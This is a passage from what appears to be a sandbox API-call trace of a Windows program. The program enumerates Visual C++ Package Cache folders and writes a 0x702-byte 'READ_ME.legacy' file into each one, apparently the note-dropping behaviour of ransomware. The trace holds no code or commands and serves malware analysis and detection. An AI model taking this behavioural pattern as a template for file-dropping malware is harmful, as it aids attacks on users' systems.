lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.780] CloseHandle (hObject=0x65c) returned 1 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.780] FindNextFileW (in: hFindFile=0x5c5fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9088 | out: hHeap=0x520000) returned 1 [0115.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0115.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0115.780] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.780] GetLastError () returned 0x0 [0115.780] SetLastError (dwErrCode=0x0) [0115.780] GetLastError () returned 0x0 [0115.781] SetLastError (dwErrCode=0x0) [0115.781] GetLastError () returned 0x0 [0115.781] SetLastError (dwErrCode=0x0) [0115.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0115.781] FindNextFileW (in: hFindFile=0x5c5fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7a10 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563108 | out: hHeap=0x520000) returned 1 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0115.781] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6018 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0115.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e78 [0115.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e78 | out: hHeap=0x520000) returned 1 [0115.781] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0115.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.781] GetLastError () returned 0x12 [0115.782] SetLastError (dwErrCode=0x12) [0115.782] GetLastError () returned 0x12 [0115.782] SetLastError (dwErrCode=0x12) [0115.782] GetLastError () returned 0x12 [0115.782] SetLastError (dwErrCode=0x12) [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6058 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6058 | out: hHeap=0x520000) returned 1 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20348 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20348 | out: hHeap=0x520000) returned 1 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d438 | out: hHeap=0x520000) returned 1 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.782] FindNextFileW (in: hFindFile=0x5c6018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0115.782] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0115.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.782] GetLastError () returned 0x12 [0115.782] SetLastError (dwErrCode=0x12) [0115.782] GetLastError () returned 0x12 [0115.783] SetLastError (dwErrCode=0x12) [0115.783] GetLastError () returned 0x12 [0115.783] SetLastError (dwErrCode=0x12) [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20078 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20078 | out: hHeap=0x520000) returned 1 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.783] FindNextFileW (in: hFindFile=0x5c6018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0115.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.783] GetLastError () returned 0x12 [0115.783] SetLastError (dwErrCode=0x12) [0115.783] GetLastError () returned 0x12 [0115.783] SetLastError (dwErrCode=0x12) [0115.783] GetLastError () returned 0x12 [0115.783] SetLastError (dwErrCode=0x12) [0115.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0115.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0115.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d438 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0115.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.784] GetLastError () returned 0x12 [0115.784] SetLastError (dwErrCode=0x12) [0115.784] GetLastError () returned 0x12 [0115.784] SetLastError (dwErrCode=0x12) [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0115.784] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0115.784] GetLastError () returned 0x12 [0115.784] SetLastError (dwErrCode=0x12) [0115.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0115.784] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x660 [0115.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0115.785] WriteFile (in: hFile=0x660, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.786] CloseHandle (hObject=0x660) returned 1 [0115.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0115.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0115.786] FindNextFileW (in: hFindFile=0x5c6018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0115.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0115.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0115.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.787] GetLastError () returned 0x0 [0115.787] SetLastError (dwErrCode=0x0) [0115.787] GetLastError () returned 0x0 [0115.787] SetLastError (dwErrCode=0x0) [0115.787] GetLastError () returned 0x0 [0115.787] SetLastError (dwErrCode=0x0) [0115.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0115.787] FindNextFileW (in: hFindFile=0x5c6018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e82b0 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7a10 | out: hHeap=0x520000) returned 1 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0115.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c20 | out: hHeap=0x520000) returned 1 [0115.787] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6058 [0115.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.788] GetLastError () returned 0x12 [0115.788] SetLastError (dwErrCode=0x12) [0115.788] GetLastError () returned 0x12 [0115.788] SetLastError (dwErrCode=0x12) [0115.788] GetLastError () returned 0x12 [0115.788] SetLastError (dwErrCode=0x12) [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0115.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d640 [0115.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c62d8 [0115.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c62d8 | out: hHeap=0x520000) returned 1 [0115.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0115.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0115.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d640 | out: hHeap=0x520000) returned 1 [0115.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.789] FindNextFileW (in: hFindFile=0x5c6058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0115.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0115.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0115.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0115.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.790] GetLastError () returned 0x12 [0115.790] SetLastError (dwErrCode=0x12) [0115.790] GetLastError () returned 0x12 [0115.790] SetLastError (dwErrCode=0x12) [0115.790] GetLastError () returned 0x12 [0115.790] SetLastError (dwErrCode=0x12) [0115.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0115.790] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0115.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0115.790] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6098 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6098 | out: hHeap=0x520000) returned 1 [0115.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200a8 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200a8 | out: hHeap=0x520000) returned 1 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.791] FindNextFileW (in: hFindFile=0x5c6058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0115.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578de8 [0115.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578de8 | out: hHeap=0x520000) returned 1 [0115.791] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0115.791] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.792] GetLastError () returned 0x12 [0115.792] SetLastError (dwErrCode=0x12) [0115.792] GetLastError () returned 0x12 [0115.792] SetLastError (dwErrCode=0x12) [0115.792] GetLastError () returned 0x12 [0115.792] SetLastError (dwErrCode=0x12) [0115.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0115.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0115.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0115.792] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0115.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8bd8 [0115.792] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0115.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ca0 [0115.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0115.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0115.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0115.793] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0115.793] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.793] GetLastError () returned 0x12 [0115.793] SetLastError (dwErrCode=0x12) [0115.793] GetLastError () returned 0x12 [0115.793] SetLastError (dwErrCode=0x12) [0115.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0115.794] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0115.794] GetLastError () returned 0x12 [0115.794] SetLastError (dwErrCode=0x12) [0115.794] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0115.794] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664 [0115.795] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0115.795] WriteFile (in: hFile=0x664, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.797] CloseHandle (hObject=0x664) returned 1 [0115.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0115.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0115.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ca0 | out: hHeap=0x520000) returned 1 [0115.797] FindNextFileW (in: hFindFile=0x5c6058, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e23527, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e23527, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e23527, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.797] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.797] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0115.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0115.798] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9088 [0115.798] HeapFree (in: 